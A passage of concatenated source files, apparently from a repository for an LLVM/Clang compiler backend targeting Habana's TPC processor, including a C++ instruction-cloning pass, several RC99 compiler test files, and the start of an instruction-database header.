INSTSEQ_DEBUG(DebugTag << \"Cloning ... [Begin]\")\n\n if (CloneOnlyInductionInst) {\n if (!cloneInst(CloneOnlyInductionInst, CloneSource->getPivotBlock(),\n InstCloneMap, InsertedInsts, Bt, true, Indent + \"\\t\")) {\n INSTSEQ_DEBUG(DebugTag\n << \"Could not clone the Inst Sequence, exiting ...\")\n return false;\n }\n\n INSTSEQ_DEBUG(DebugTag << \"Patching the users of DerivedInductionStep ...\")\n // Induction Inst's users in this sequence need to be patched up\n for (auto User : CloneOnlyInductionInst->users()) {\n Instruction *U = cast<Instruction>(User);\n INSTSEQ_DEBUG(DebugTag << \"\\tUser = \" << *User)\n auto It = InstSeqMap.find(U);\n // if InstSeq of this User is not found or is not this sequence, there is\n // nothing to do\n if (It == InstSeqMap.end() || It->second != this)\n continue;\n patchOperandsWithClones(U, CloneSource->getPivotBlock(), InstCloneMap,\n DebugTag, false);\n }\n\n insertCloneIntoBlock(CloneOnlyInductionInst, InstCloneMap, InsertedInsts,\n InsertIt, UseInsertIt, Bt, DebugTag);\n\n INSTSEQ_DEBUG(DebugTag << \"Cloning ... [End]\")\n return true;\n }\n\n bool IsClonedNow = false;\n for (auto InstIt = InstVec.rbegin(); InstIt != InstVec.rend(); InstIt++) {\n Instruction *I = *InstIt;\n if (!cloneInst(I, CloneSource->getPivotBlock(), InstCloneMap, InsertedInsts,\n Bt, false, Indent + \"\\t\")) {\n // partial cloning not supported yet\n INSTSEQ_DEBUG(DebugTag\n << \"Could not fully clone the Inst Sequence, exiting ...\")\n return false;\n }\n IsClonedNow = true;\n }\n\n INSTSEQ_DEBUG(DebugTag << \"Patching operands of Pivot Inst ...\")\n INSTSEQ_DEBUG(DebugTag << \"Pivot : \" << *getPivotInst())\n patchOperandsWithClones(getPivotInst(), CloneSource->getPivotBlock(),\n InstCloneMap, DebugTag, false);\n\n // if the insts were cloned now\n if (IsClonedNow) {\n // insert all into block\n INSTSEQ_DEBUG(\n DebugTag << \"Inserting cloned instructions into Basic Block ...\")\n for (auto InstIt = InstVec.rbegin(); InstIt != InstVec.rend(); InstIt++) {\n Instruction *I = *InstIt;\n INSTSEQ_DEBUG(DebugTag << \"\\tI = \" << *I)\n insertCloneIntoBlock(I, InstCloneMap, InsertedInsts, InsertIt,\n UseInsertIt, Bt, DebugTag);\n }\n }\n\n INSTSEQ_DEBUG(DebugTag << \"Cloning ... [End]\")\n return true;\n}\n\nvoid LoadStoreSequence::debugDump(std::string Indent) {\n INSTSEQ_DEBUG(Indent << \"[-- DumpBegin --]\")\n INSTSEQ_DEBUG(Indent << \"Pivot = \" << *getPivotInst())\n\n INSTSEQ_DEBUG(Indent << \"CoordSeq :\")\n getCoordSequence()->debugDump(Indent + \"\\t\");\n\n if (isLoadPivot()) {\n if (hasIncomePredSeq()) {\n INSTSEQ_DEBUG(Indent << \"IncomePredSeq :\")\n getIncomePredSequence()->debugDump(Indent + \"\\t\");\n } else {\n INSTSEQ_DEBUG(Indent << \"IncomePredSeq : null\")\n }\n }\n\n INSTSEQ_DEBUG(Indent << \"[-- DumpEnd --]\")\n}\n\nbool LoadStoreSequence::clone(LoadStoreSequence *CloneSource,\n InstCloneMapType &CloneMap,\n InstructionSetType &InsertedInsts,\n BasicBlock::iterator &InsertIt, bool UseInsertIt,\n BlockType Bt, std::string Indent) {\n std::string DebugTag = \"<cloneLoadStoreSeq> \";\n INSTSEQ_DEBUG(DebugTag << \"====\")\n\n // TODO : clone source validation\n\n INSTSEQ_DEBUG(DebugTag << \"cloning the Coord Sequence of Load/Store ...\")\n CoordSeq = new InstSequence(getPivotInst(), getWorkingLoop(), getPivotBT(),\n InstSeqMap, this, InductionInsts, true);\n CoordSeq->init(true, Indent + \"\\t\");\n if (!CoordSeq->clone(CloneSource->getCoordSequence(), CloneMap, InsertedInsts,\n InsertIt, UseInsertIt, Bt, Indent + \"\\t\")) {\n INSTSEQ_DEBUG(\n DebugTag << \"Coord Seq cloning for Load Pivot failed, exiting ...\")\n return false;\n }\n\n // TODO: Income-Predicate sequence support is limited to Load Pivots for now\n // TODO: how to detect inadvertent access of Store's Income-Pred Seq?\n if (!isLoadPivot())\n return true;\n\n // TODO : extract method\n // check if there is a need for income-pred sequence\n bool HasNonConstOperands = false;\n Instruction *SrcPivotInst = CloneSource->getPivotInst();\n for (unsigned OpIdx = 1;\n OpIdx < SrcPivotInst->getNumOperands() && !HasNonConstOperands;\n OpIdx++) {\n if (auto OpDef = dyn_cast<Instruction>(SrcPivotInst->getOperand(OpIdx))) {\n if (OpDef->getParent() != SrcPivotInst->getParent())\n continue;\n HasNonConstOperands = true;\n }\n }\n if (!HasNonConstOperands) {\n INSTSEQ_DEBUG(\n DebugTag << \"Income-Predicate Sequence does not exist, continuing ...\")\n INSTSEQ_DEBUG(DebugTag << \"====\")\n return true;\n }\n\n INSTSEQ_DEBUG(\n DebugTag << \"cloning the Income-Predicate Sequence of Load/Store ...\")\n IncomePredSeq =\n new InstSequence(getPivotInst(), getWorkingLoop(), getPivotBT(),\n InstSeqMap, this, InductionInsts, false);\n IncomePredSeq->init(true, Indent + \"\\t\");\n if (!IncomePredSeq->clone(CloneSource->getIncomePredSequence(), CloneMap,\n InsertedInsts, InsertIt, UseInsertIt, Bt,\n Indent + \"\\t\")) {\n INSTSEQ_DEBUG(\n DebugTag\n << \"Income-Predicate Seq cloning for Load Pivot failed, exiting ...\")\n return false;\n }\n\n INSTSEQ_DEBUG(DebugTag << \"====\")\n\n return true;\n}\n\nbool LoadStoreSequence::populateSequence(InstInstMapType &InstUpdateMap,\n std::string Indent) {\n std::string DebugTag = \"<populateLoadStoreSeq> \";\n INSTSEQ_DEBUG(DebugTag << \"====\")\n\n INSTSEQ_DEBUG(DebugTag << \"populating the Coord Sequence of Load/Store ...\")\n CoordSeq = new InstSequence(getPivotInst(), getWorkingLoop(), getPivotBT(),\n InstSeqMap, this, InductionInsts, true);\n CoordSeq->init(false, Indent + \"\\t\");\n if (!CoordSeq->populateSequence(InstUpdateMap, Indent + \"\\t\")) {\n INSTSEQ_DEBUG(\n DebugTag << \"CoordSeq population for Load Pivot failed, exiting ...\")\n return false;\n }\n\n // TODO: Income-Predicate sequence support is limited to Load Pivots for now\n // TODO: how to detect inadvertent access of Store's Income-Pred Seq?\n if (!isLoadPivot())\n return true;\n\n // check if there is a need for income-pred sequence\n bool HasNonConstOperands = false;\n for (unsigned OpIdx = 1;\n OpIdx < getPivotInst()->getNumOperands() && !HasNonConstOperands;\n OpIdx++) {\n if (auto OpDef = dyn_cast<Instruction>(getPivotInst()->getOperand(OpIdx))) {\n if (OpDef->getParent() != getPivotInst()->getParent())\n continue;\n HasNonConstOperands = true;\n }\n }\n if (!HasNonConstOperands) {\n INSTSEQ_DEBUG(\n DebugTag << \"Income-Predicate Sequence does not exist, continuing ...\")\n INSTSEQ_DEBUG(DebugTag << \"====\")\n return true;\n }\n\n INSTSEQ_DEBUG(\n DebugTag << \"populating the Income-Predicate Sequence of Load/Store ...\")\n IncomePredSeq =\n new InstSequence(getPivotInst(), getWorkingLoop(), getPivotBT(),\n InstSeqMap, this, InductionInsts, false);\n IncomePredSeq->init(false, Indent + \"\\t\");\n if (!IncomePredSeq->populateSequence(InstUpdateMap, Indent + \"\\t\")) {\n INSTSEQ_DEBUG(\n DebugTag\n << \"Income-Predicate Seq population for Load Pivot failed, exiting ...\")\n return false;\n }\n\n INSTSEQ_DEBUG(DebugTag << \"====\")\n\n return true;\n}\n\n#undef DEBUG_TYPE\n" }, { "alpha_fraction": 0.5388600826263428, "alphanum_fraction": 0.6165803074836731, "avg_line_length": 31, "blob_id": "7169145f3950d9381381c4a14b85d5cb0f4831b9", "content_id": "cd9093e0596a27d20e0b0ebf16b8c02b8ccfe18b", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 193, "license_type": "permissive", "max_line_length": 97, "num_lines": 6, "path": "/clang/test/RC99/literal_const-02.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -ast-dump %s -o - | FileCheck %s\n\nvoid main() {\n float res = 11.4; \n // CHECK: FloatingLiteral {{.*}} 'float' 1.140000e+01\n}\n\n" }, { "alpha_fraction": 0.5239346027374268, "alphanum_fraction": 0.5820198655128479, "avg_line_length": 26.629032135009766, "blob_id": "726f63c6ad34bfceed1eeea8c466fa8f5866ff60", "content_id": "d8925bcc2822b660a254bfeba9f148986de2b134", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3426, "license_type": "permissive", "max_line_length": 115, "num_lines": 124, "path": "/clang/test/RC99/acceptance/addbias.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -emit-llvm -O2 %s -o - | FileCheck %s\n// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -O2 %s -o - | FileCheck --check-prefix=CHECK-ASM %s\n// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -emit-llvm -O1 %s -o - | FileCheck --check-prefix=CHECK-O1 %s\n// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -O1 %s -o - | FileCheck --check-prefix=CHECK-ASM-O1 %s\n\n/*\nvoid main(tensor ifm, tensor ofm, int i, int o)\n{\n\tfloat64\taccumulator = 0.0f;\n\n\tfor (int i = 0; i < get_dim_size(ifm, 1); i++) {\n\t\tfor (int j = 0; j < get_dim_size(ifm, 2); j++) {\n\t\t\tint5 ifm_offset = {1,1,i,j,1};\n\t\t\t//ifm_offset.x = i; ifm_offset.y=j; ifm_offset.zwq=0;\n\t\t\t__local__ float64 *pInput = (float64 *)i;// = a_gen_addr_i(ifm_offset, ifm);\n\t\t\taccumulator += *pInput;\n\t\t}\n\t}\n\n\tint5 ofm_offset = {0,0,0,0,0}; \n\tofm_offset.xyzwq=0;\n\t__local__ float64 *pOutput = (float64 *)o;// = a_gen_addr_i(ofm_offset, ofm);\n\t*pOutput = accumulator;\n}\n*/\n#define WITH_RELU 1\nvoid main(tensor in, tensor bias, tensor out)\n{\n\t// C W H B NA\n\t// [dim0,dim1,dim2,dim3,dim4];\n\tint5 curInputOutputIndex;\n\tint5 curBiasIndex = {0,0,0,0,0};\n\t// C iterator - in slices of 64\n\n int C_end = 0;\n C_end = s_i32_ld_l_s_b(0x8010 , C_end, 1, 1, 0);\n int W_end = 0;\n W_end = s_i32_ld_l_s_b(0x8018 , W_end, 1, 1, 0);\n int H_end = 0;\n H_end = s_i32_ld_l_s_b(0x8020 , H_end, 1, 1, 0);\n int B_end = 0;\n B_end = s_i32_ld_l_s_b(0x8028 , B_end, 1, 1, 0);\n\n\n\t/*\n\tint C_end = 64;\n int W_end = 4;\n int H_end = 1;\n int B_end = 1;\n\t*/\n\tfor (int C_itr = 0; C_itr < C_end; C_itr+=64)\n\t{\n\t\tcurInputOutputIndex[0] = C_itr;\n\t\tcurBiasIndex[0] = C_itr;\n\t\tfloat64 biasValVec = 0;\n\t\tbiasValVec = v_f32_ld_tnsr_i_b(curBiasIndex,bias, biasValVec, 1, 0);\n\n\t\tfor(int B_itr = 0; B_itr < B_end; B_itr++)\n\t\t{\t\t\t\t\n\t\t\tcurInputOutputIndex[3] = B_itr;\n\n\t\t\tfor (int H_itr = 0; H_itr < H_end; H_itr++)\n\t\t\t{\n\t\t\t\tcurInputOutputIndex[2] = H_itr;\n\t\t\t\t\t\n\t\t\t\tfor (int W_itr = 0; W_itr < W_end; W_itr++)\n\t\t\t\t{\n\t\t\t\t\t// W handing starts here\n\t\t\t\t\tcurInputOutputIndex[1] = W_itr;\n\t\t\t\t\tfloat64 inputValVec = 0;\n\t\t\t\t\tinputValVec = v_f32_ld_tnsr_i_b(curInputOutputIndex,in, inputValVec, 1, 0);\n\t\t\t\t\tfloat64 resultValVec = inputValVec + biasValVec;\n#ifdef WITH_RELU\n\t\t\t resultValVec = v_f32_max_v_s_b(resultValVec, 0.0f, resultValVec, 1, 0);\n#endif \n\t\t\t\t\tf32_st_tnsr_i_v_b(curInputOutputIndex, out, resultValVec, 1, 0);\n\t\t\t\t} // W loop\n\t\t\t} // H loop\n\t\t} // B loop\n\t} // C loop\n}\n\n\n\n/*\n// Multiply first vector by 2 and store\nvoid main(tensor in, tensor bias, tensor out)\n{\n int5 offset = {0,0,0,0,0};\n float64 val = v_f32_ld_tnsr_i_b(in, offset, 1, 0);\n float64 res = val * 2.0f;\n f32_st_tnsr_i_v_b(out, offset, res, 1, 0);\n \n}\n*/\n\n\n/*\nvoid main(tensor ifm, tensor ofm, int i, int o)\n{\n\tfloat64\taccumulator = 0.0f;\n\n\tfor (int i = 0; i < get_dim_size(ifm, 1); i++) {\n\t\tfor (int j = 0; j < get_dim_size(ifm, 2); j++) {\n\t\t\tint5 ifm_offset = {1,1,i,j,1};\n\t\t\t//ifm_offset.x = i; ifm_offset.y=j; ifm_offset.zwq=0;\n\t\t\t__local__ float64 *pInput = (float64 *)i;// = a_gen_addr_i(ifm_offset, ifm);\n\t\t\taccumulator += *pInput;\n\t\t}\n\t}\n\n\tint5 ofm_offset = {0,0,0,0,0}; \n\tofm_offset.xyzwq=0;\n\t__local__ float64 *pOutput = (float64 *)o;// = a_gen_addr_i(ofm_offset, ofm);\n\t*pOutput = accumulator;\n}\n*/\n\n// CHECK:main\n// CHECK-ASM: main\n// CHECK-ASM: halt\n// CHECK-O1:main\n// CHECK-ASM-O1: main\n// CHECK-ASM-O1: halt\n" }, { "alpha_fraction": 0.5393120646476746, "alphanum_fraction": 0.6102579832077026, "avg_line_length": 29.429906845092773, "blob_id": "e5d62165eb751ba819b8f916657054ebdb73bad9", "content_id": "10f02ed0b3ca747942020db750447b433083b8c0", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 6512, "license_type": "permissive", "max_line_length": 148, "num_lines": 214, "path": "/clang/test/RC99/regression/GAUDI-255a.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -triple tpc-none-none -std=rc99 -O1 -o - %s\n// RUN: %clang_cc1 -S -triple tpc-none-none -std=rc99 -O2 -o - %s\n\n// This is insert_sort.c from GAUDI-255 attachments.\n\n/*****************************************************************************\n* Copyright (C) 2017 HabanaLabs, Ltd.\n* All Rights Reserved.\n*\n* Unauthorized copying of this file, via any medium is strictly prohibited.\n* Proprietary and confidential.\n*\n* Authors:\n* Ron Shalev <[email protected]>\n*\n* Kernel assumptions:\n* ====================\n* input is a row major matrix\n* output is a row major matrix\n* index space is 1D, dictating which part of the input matrix is provided\n* \n*\n* Kernel State:\n* ======================\n* The state is saved between kerenl activations in VLM\n* \t- K Max value INT8 - address VLM[0:K-1]\n* \t- K Max index UINT8 - address VLM[K:2K-1]\n* \t- K Max value INT16 - address VLM[2K:4K-1]\n* \t- K Max index UINT16 - address VLM[4K:6K-1]\n* - The base 'h' of the current UINT8 indexes\n*\n* Algorithm:\n* ======================\n* if (first activation)\n* {\n*\t\tsort the 1st k vectors\n*\t\tcreate the INT16 state\n* }\n*\n* For every new vector\n*\t\tLoad vector + sortInsert.INT8 \n*\n* Every 256 vectors (or last activation) adjast k max value & index to INT16 and save in VLM\n*\n* if (last activation)\n* {\n*\t\tstore max value and index INT16 to memory\n* }\n*\n* Inputs\n* ======================\n* - 2D Matrix which is row major\n* - 1st activation flag?\n* - last activation flag?\n* \n* Outputs\n* ======================\n* - INT16 2D Matrix which is row major. Holds max values. Hight K. Width = 256 elements\n* - UINT16 2D Matrix which is row major. Hold max indexes. Hight K. Width = 256 elements\n*\n* Index space\n* ======================\n* - The index space is 1D and reflects the vertical location in the input tensor\n* \n* \n******************************************************************************\n*/\n\ntypedef unsigned short uint16_t;\ntypedef unsigned char uint8_t;\n#define K 4\n\n__local__ short128_ushort128_pair_t l_sorted16[2][4];\n__local__ uchar256_char256_pair_t l_sorted8[4];\n__local__ uint8_t l_indexU8;\n\n\n\n\n\n\nvoid sort4Step(char256 unsorted[K], uchar256_char256_pair_t sorted[K], int k)\n{\n //get maximum value\n sorted[k].v1 = 0;\n sorted[k].v2 = unsorted[0];\n\n //FIXME LOOP this\n sorted[k] = v_i8_u8_sel2_grt_v_v_v_v(unsorted[1], sorted[k].v2, 1, sorted[k].v1);\n sorted[k] = v_i8_u8_sel2_grt_v_v_v_v(unsorted[2], sorted[k].v2, 2, sorted[k].v1);\n sorted[k] = v_i8_u8_sel2_grt_v_v_v_v(unsorted[3], sorted[k].v2, 3, sorted[k].v1);\n\n //minimize maximum value\n //FIXME LOOP this\n unsorted[0] = v_u8_i8_sel_eq_v_s_v_v(sorted[k].v1, 0, -128, unsorted[0]);\n unsorted[1] = v_u8_i8_sel_eq_v_s_v_v(sorted[k].v1, 1, -128, unsorted[1]);\n unsorted[2] = v_u8_i8_sel_eq_v_s_v_v(sorted[k].v1, 2, -128, unsorted[2]);\n unsorted[3] = v_u8_i8_sel_eq_v_s_v_v(sorted[k].v1, 3, -128, unsorted[3]);\n}\n\n\nvoid sort4(char256 unsorted[K], uchar256_char256_pair_t sorted[K])\n{\n sort4Step(unsorted, sorted, 0);\n sort4Step(unsorted, sorted, 1);\n sort4Step(unsorted, sorted, 2);\n sort4Step(unsorted, sorted, 3);\n}\n\n\n\nvoid ldStateFromVLM(uchar256_char256_pair_t sorted8[K])\n{\n for (int i=0; i<K; i++)\n {\n sorted8[i].v1 = l_sorted8[i].v1;\n sorted8[i].v2 = l_sorted8[i].v2;\n }\n}\n\n\nvoid storeStateInVLM(uchar256_char256_pair_t sorted[K])\n{\n// //for (int i=0; i<K; i++)\n// //{ \n// i8_st_l_v_s_s_v(0,i*256, sorted[i].v1);\n// u16_st_l_v_s_s_v(0,1024 + 2*i*256, sorted[i].v21);\n// u16_st_l_v_s_s_v(0,1024 + (2*i+1)*256, sorted[i].v22);\n// //}\n}\n\nvoid ld4VectorsFromMemoryAndSort(uchar256_char256_pair_t sorted8[K], int5 ifmCord)\n{\n char256 unsorted[K];\n char256 tmpChar256; \n ushort128 tmpUshort128;\n\n unsorted[0] = v_i8_ld_tnsr_i(ifmCord,0);\n ifmCord[0]++;\n\n unsorted[1] = v_i8_ld_tnsr_i(ifmCord,0);\n ifmCord[0]++;\n\n unsorted[2] = v_i8_ld_tnsr_i(ifmCord,0);\n ifmCord[0]++;\n\n unsorted[3] = v_i8_ld_tnsr_i(ifmCord,0);\n ifmCord[0]++;\n\n sort4(unsorted, sorted8);\n\n for (int i=0; i<K; i++) {\n // Comment back in the following piece of code once compiler is fixed\n //\tl_sorted16[0][i].v1 = v_convert_i8_to_i16_v(sorted8[i].v1, 0, 0); //why 3 arguments. FIXME compiler\n //\tl_sorted16[0][i].v2 = v_u16_and_v_s((ushort128)sorted8[i].v2, 0xFFFF);\n\t//\n //\ttmpChar256 = (char256)v_i16_shr_v_s((short128)sorted8[i].v1, 8); \n \t//\tl_sorted16[1][i].v1 = v_convert_i8_to_i16_v(tmpChar256, 0, 0);\n //\n // tmpUshort128 = v_u16_shr_v_s((ushort128)sorted8[i].v2, 8);\n\t// l_sorted16[1][i].v2 = v_u16_and_v_s(tmpUshort128, 0xFFFF);\n }\n}\n\n\nvoid insertSort(uchar256_char256_pair_t sorted8[K], char256 vecToAdd, uint8_t idx)\n{\n\tbool256 biggerThenSorted8[K];\n\n\t//the vector which is bigger then minimal values can just change them.\n\tsorted8[0] = v_i8_u8_sel2_grt_v_v_v_v(vecToAdd, sorted8[0].v2, idx, sorted8[0].v1);\n\n\t//starting from 2nd index as the 1st one was covered\n\tfor (int i=2; i<K; i++) \n\t{\n\t\tbiggerThenSorted8[i] = bv_i8_cmp_grt_v_v(sorted8[i].v2, vecToAdd);\n\t\tchar256 tmpForSwap = v_i8_mov_v_vb(sorted8[i].v2, tmpForSwap, biggerThenSorted8[i], 0);\n\t\tsorted8[i-1].v2 = v_i8_mov_v_vb(sorted8[i].v2, tmpForSwap, biggerThenSorted8[i], 0);\n\t\tsorted8[i].v2 = v_i8_mov_v_vb(sorted8[i-1].v2, tmpForSwap, biggerThenSorted8[i], 0);\n\n\t\tuchar256 utmpForSwap = v_u8_mov_v_vb(sorted8[i].v1, utmpForSwap, biggerThenSorted8[i], 0);\n\t\tsorted8[i-1].v1 = v_u8_mov_v_vb(sorted8[i].v1, utmpForSwap, biggerThenSorted8[i], 0);\n\t\tsorted8[i].v1 = v_u8_mov_v_vb(sorted8[i-1].v1, utmpForSwap, biggerThenSorted8[i], 0);\n\t}\n}\n\nvoid main(tensor ifm, tensor ofm_val, tensor ofm_index, char firstActivation, char lastActivation, char save16BitsState, uint16_t baseIndexuint16) \n{\n int5 index_space_start = get_index_space_offset();\n int5 ifmCord = index_space_start;\n int5 ofmValCord = index_space_start;\n int5 ofmIndxCord = index_space_start;\n int5 index_space_end = get_index_space_size() + index_space_start;\n uchar256_char256_pair_t sorted8[K];\n uint8_t indexU8;\n\n if (firstActivation==1)\n { \n ld4VectorsFromMemoryAndSort(sorted8, ifmCord);\n indexU8 = 0;\n } else \n {\n ldStateFromVLM(sorted8);\n indexU8 = l_indexU8;\n } \n\n for (uint16_t h = ifmCord[0]; h<index_space_end[0]; h++)\n {\n char256 vecToAdd = v_i8_ld_tnsr_i(ifmCord,ifm);\n insertSort(sorted8, vecToAdd, indexU8);\n }\n\n storeStateInVLM(sorted8);\n}\n" }, { "alpha_fraction": 0.5334448218345642, "alphanum_fraction": 0.6571906208992004, "avg_line_length": 48.83333206176758, "blob_id": "5b6bce75e93ecd420eecbfa81da817e1d1353c54", "content_id": "f3863e0bfe6e7ddb80e9b637e4a1fe7d6bef781c", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 598, "license_type": "permissive", "max_line_length": 149, "num_lines": 12, "path": "/clang/test/RC99/Intrinsics/convert_to/convert_ushort256_to_bfloat256.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck --check-prefixes=CHECK-IR %s\n\nvoid main(int src, int dest) {\n ushort256 *sptr = (ushort256 *)src;\n bfloat256 *dptr = (bfloat256 *)dest;\n ushort256 src_val = *sptr;\n *dptr++ = convert_ushort256_to_bfloat256(src_val, 0);\n *dptr = convert_ushort256_to_bfloat256(src_val, SW_RD);\n}\n\n// CHECK-IR: uitofp <256 x i16> {{.*}} to <256 x bfloat>\n// CHECK-IR: call <256 x bfloat> @llvm.tpc.convert.v256bf16.v256i16.i1(<256 x i16> {{.*}}, i8 8, i32 196864, <256 x bfloat> undef, i1 true, i1 false)\n" }, { "alpha_fraction": 0.5403963327407837, "alphanum_fraction": 0.6402438879013062, "avg_line_length": 37.55882263183594, "blob_id": "fe249af9c73c61c56188bed3c86b804b16b62a80", "content_id": "45c0231050d80aabe1c238e9ab39e47b4430925f", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1312, "license_type": "permissive", "max_line_length": 153, "num_lines": 34, "path": "/clang/test/RC99/driver/lut-warn/gaudi/lut-warn-overflow-bv32_8.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %tpc_clang %s -S -march=gaudi 2>&1 | FileCheck %s -allow-empty\n// XFAIL: *\nvoid main(int x0, int x2, int x3, int dest0, int dest1, int dest2, int dest3, int dest4) {\n\n uint64 __local *ptr_x0 = (uint64 __local *)x0;\n uint64 __local *ptr_x1 = (uint64 __local *)x2;\n\n float64 __local *res0 = (float64 __local *)dest0;\n float64 __local *res1 = (float64 __local *)dest1;\n float64 __local *res2 = (float64 __local *)dest2;\n float64 __local *res3 = (float64 __local *)dest3;\n float64 __local *res4 = (float64 __local *)dest4;\n\n float64 temp_res0 = 0;\n float64 temp_res1 = 0;\n float64 temp_res2 = 0;\n float64 temp_res3 = 0;\n float64 temp_res4 = 0;\n\n temp_res0 = v_f32_lookup_v_b(*ptr_x0, temp_res0, 0, e_fp32_pow2, x3, 0);\n temp_res1 = v_f32_lookup_v_b(*ptr_x1, temp_res0, 0, e_bf16_tanh, x3, 0);\n temp_res2 = v_f32_lookup_v_b(*ptr_x1, temp_res0, 2, e_i8_tanh, x3, 0);\n temp_res3 = v_f32_lookup_v_b(*ptr_x1, temp_res0, 3, e_i8_tanh_linear, x3, 0);\n temp_res4 = v_f32_lookup_v_b(*ptr_x1, temp_res0, 3, e_i8_sigmoid_linear, x3, 0);\n\n *res0 = temp_res0;\n *res1 = temp_res1;\n *res2 = temp_res2;\n *res3 = temp_res3;\n *res4 = temp_res4;\n\n}\n\n//CHECK: Performance warning: number of requested special function IDs exceeds LUT cache capacity for the Gen2+ architecture, this will cause LUT misses.\n\n" }, { "alpha_fraction": 0.4401785731315613, "alphanum_fraction": 0.5321428775787354, "avg_line_length": 39, "blob_id": "3376af57a8b0079de6160849346cd2b93803e5ad", "content_id": "6072d41ce6af58b77346462dd632e1d12c9e5856", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1120, "license_type": "permissive", "max_line_length": 133, "num_lines": 28, "path": "/clang/test/RC99/IntrinsicsM/extract_exp-s-02.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -bfloat16 -target-cpu gaudi %s -o - | FileCheck --check-prefix=CHECK-GAUDI %s\n\n\nvoid main(_BFloat16 x0, int dest, _Bool pred) {\n int __local *res_ptr = (int __local *)dest;\n\n *res_ptr++ = s_bf16_extract_exp_s(x0, 1);\n // CHECK: extract_exp.bf16 biased %S{{[0-9]+}}, %S0, %SP0\n // CHECK-GAUDI: extract_exp.bf16 biased %S{{[0-9]+}}, %S{{[0-9]+}}, %SP0\n x0 = s_bf16_ld_l_s(4, 0);\n\n *res_ptr++ = s_bf16_extract_exp_s(x0, 0);\n // CHECK: extract_exp.bf16 %S{{[0-9]+}}, %S0, %SP0\n // CHECK-GAUDI: extract_exp.bf16 %S{{[0-9]+}}, %S{{[0-9]+}}, %SP0\n x0 = s_bf16_ld_l_s(4, 0);\n\n int res = 0;\n\n *res_ptr++ = s_bf16_extract_exp_s_b(x0, res, 1, pred, 0);\n // CHECK: extract_exp.bf16 biased %S{{[0-9]+}}, %S0, %SP{{[0-9]+}}\n // CHECK-GAUDI: extract_exp.bf16 biased %S{{[0-9]+}}, %S{{[0-9]+}}, %SP{{[0-9]+}}\n x0 = s_bf16_ld_l_s(4, 0);\n\n *res_ptr++ = s_bf16_extract_exp_s_b(x0, res, 0, pred, 0);\n // CHECK: extract_exp.bf16 %S{{[0-9]+}}, %S0, %SP{{[0-9]+}}\n // CHECK-GAUDI: extract_exp.bf16 %S{{[0-9]+}}, %S{{[0-9]+}}, %SP{{[0-9]+}}\n x0 = s_bf16_ld_l_s(4, 0);\n}\n" }, { "alpha_fraction": 0.4941176474094391, "alphanum_fraction": 0.5716958045959473, "avg_line_length": 32.4128303527832, "blob_id": "b569efdfd38580a2799231ae2aa934522b49d1bc", "content_id": "a6efb64d25cbf5faf8cbaaf42b51a7a590506b70", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 20315, "license_type": "permissive", "max_line_length": 129, "num_lines": 608, "path": "/llvm/lib/Target/TPC/MCTargetDesc/InstructionDB.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===--------InstructionDB.cpp---------------------------------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// Declares interface to instruction switches database\n//\n//===----------------------------------------------------------------------===//\n\n#ifndef LLVM_LIB_TARGET_TPC_MCTARGETDESC_SWITCHDATABASE_H\n#define LLVM_LIB_TARGET_TPC_MCTARGETDESC_SWITCHDATABASE_H\n\n#include \"llvm/ADT/StringRef.h\"\n#include \"llvm/MC/MCInst.h\"\n#include \"llvm/MC/MCInstrInfo.h\"\n#include \"llvm/Support/ErrorOr.h\"\n#include <string>\n\n\nenum class SwitchError {\n OK = 0,\n UnknownSwitch,\n UnsupportedByHardware,\n UnapplicableForType,\n NonBooleanValueOfFlag,\n SwitchGroupNoValue,\n BitsBeyondSwitchGroup\n};\n\nnamespace std {\ntemplate <> struct is_error_code_enum<SwitchError> : std::true_type {};\n}\n\nstd::error_code make_error_code(SwitchError);\n\n\nnamespace llvm {\nnamespace TPCII {\n\n// Emumerate available parsers. Numeric values must correspond to definition in\n// SpecialSlotVariant, LoadSlotVariant, ScalarSlotVariant, VectorSlotVariant and\n// StoreSlotVariant (see file TPC.td).\nenum SlotParser {\n Special = 0,\n Load = 1,\n Scalar = 2,\n Vector = 3,\n Store = 4,\n Unknown\n};\n\n// Operand data types.\n// *** Must match TPCInstrFormat*.td ***\nenum OpType : unsigned {\n FP32 = 0,\n BF16 = 1,\n INT32 = 2,\n UINT32 = 3,\n INT8 = 4,\n UINT8 = 5,\n BOOL = 6,\n INT16 = 7,\n UINT16 = 8,\n INT4 = 9,\n UINT4 = 10,\n FP16 = 11,\n FP8_152 = 12,\n FP8_143 = 13,\n INT64 = 